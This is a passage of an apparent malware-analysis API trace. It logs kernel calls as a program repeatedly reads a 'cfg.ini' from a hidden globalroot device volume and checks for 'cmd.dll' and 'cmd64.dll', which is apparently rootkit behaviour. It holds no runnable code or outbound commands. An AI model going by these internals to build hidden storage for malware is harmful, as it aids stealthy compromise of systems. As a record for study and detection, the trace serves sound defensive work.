FastMutex=0xfffffa80027d3898) [0126.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003464000 [0126.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.273] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.273] IdePortDispatch () returned 0x103 [0126.273] KeWaitForMutexObject () returned 0x0 [0126.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.274] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.274] IdePortDispatch () returned 0x103 [0126.274] KeWaitForMutexObject () returned 0x0 [0126.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.274] KeLeaveCriticalRegion () [0126.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.274] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.274] KeEnterCriticalRegion () [0126.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.274] KeLeaveCriticalRegion () [0126.274] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.274] KeEnterCriticalRegion () [0126.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.274] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.275] KeLeaveCriticalRegion () [0126.275] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.275] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.275] KeEnterCriticalRegion () [0126.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.275] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.275] KeLeaveCriticalRegion () [0126.275] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.275] ReleaseMutex (hMutex=0xf0) returned 1 [0126.275] Sleep (dwMilliseconds=0x124f80) [0126.288] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.288] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.289] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.289] KeEnterCriticalRegion () [0126.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.289] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.289] IdePortDispatch () returned 0x103 [0126.289] KeWaitForMutexObject () returned 0x0 [0126.289] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.289] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.289] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.289] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.289] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.289] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.289] KeLeaveCriticalRegion () [0126.289] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.289] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.289] KeEnterCriticalRegion () [0126.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.289] KeLeaveCriticalRegion () [0126.289] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.289] KeEnterCriticalRegion () [0126.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.289] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.290] IdePortDispatch () returned 0x103 [0126.290] KeWaitForMutexObject () returned 0x0 [0126.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.290] KeLeaveCriticalRegion () [0126.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.290] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.290] KeEnterCriticalRegion () [0126.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.290] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003469000 [0126.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.290] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.290] IdePortDispatch () returned 0x103 [0126.290] KeWaitForMutexObject () returned 0x0 [0126.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.290] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.290] IdePortDispatch () returned 0x103 [0126.290] KeWaitForMutexObject () returned 0x0 [0126.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] KeLeaveCriticalRegion () [0126.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.291] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.291] KeEnterCriticalRegion () [0126.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] KeLeaveCriticalRegion () [0126.291] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.291] KeEnterCriticalRegion () [0126.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.291] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] KeLeaveCriticalRegion () [0126.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.291] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.291] KeEnterCriticalRegion () [0126.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.291] KeLeaveCriticalRegion () [0126.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.291] ReleaseMutex (hMutex=0xf0) returned 1 [0126.291] Sleep (dwMilliseconds=0x124f80) [0126.305] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.305] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.305] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.305] KeEnterCriticalRegion () [0126.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.305] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.305] IdePortDispatch () returned 0x103 [0126.305] KeWaitForMutexObject () returned 0x0 [0126.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.305] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.305] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.305] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.305] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.305] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfabe0 [0126.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.305] KeLeaveCriticalRegion () [0126.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.305] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.305] KeEnterCriticalRegion () [0126.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.305] KeLeaveCriticalRegion () [0126.306] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.306] KeEnterCriticalRegion () [0126.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.306] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.306] IdePortDispatch () returned 0x103 [0126.307] KeWaitForMutexObject () returned 0x0 [0126.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.307] KeLeaveCriticalRegion () [0126.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.307] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.307] KeEnterCriticalRegion () [0126.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.307] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346e000 [0126.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.307] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.307] IdePortDispatch () returned 0x103 [0126.307] KeWaitForMutexObject () returned 0x0 [0126.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.307] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.307] IdePortDispatch () returned 0x103 [0126.307] KeWaitForMutexObject () returned 0x0 [0126.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] KeLeaveCriticalRegion () [0126.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.308] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.308] KeEnterCriticalRegion () [0126.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] KeLeaveCriticalRegion () [0126.308] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.308] KeEnterCriticalRegion () [0126.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] KeLeaveCriticalRegion () [0126.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.308] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.308] KeEnterCriticalRegion () [0126.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.308] KeLeaveCriticalRegion () [0126.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.308] ReleaseMutex (hMutex=0xf0) returned 1 [0126.309] Sleep (dwMilliseconds=0x124f80) [0126.328] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.328] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.328] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.328] KeEnterCriticalRegion () [0126.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.328] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.328] IdePortDispatch () returned 0x103 [0126.328] KeWaitForMutexObject () returned 0x0 [0126.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.329] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.329] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.329] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.329] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.329] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc380 [0126.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] KeLeaveCriticalRegion () [0126.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.329] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.329] KeEnterCriticalRegion () [0126.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] KeLeaveCriticalRegion () [0126.329] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.329] KeEnterCriticalRegion () [0126.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.329] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.329] IdePortDispatch () returned 0x103 [0126.329] KeWaitForMutexObject () returned 0x0 [0126.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] KeLeaveCriticalRegion () [0126.329] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.329] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.329] KeEnterCriticalRegion () [0126.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003473000 [0126.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.330] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.330] IdePortDispatch () returned 0x103 [0126.330] KeWaitForMutexObject () returned 0x0 [0126.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.330] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.330] IdePortDispatch () returned 0x103 [0126.330] KeWaitForMutexObject () returned 0x0 [0126.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.330] KeLeaveCriticalRegion () [0126.330] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.330] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.331] KeEnterCriticalRegion () [0126.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] KeLeaveCriticalRegion () [0126.331] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.331] KeEnterCriticalRegion () [0126.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.331] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, 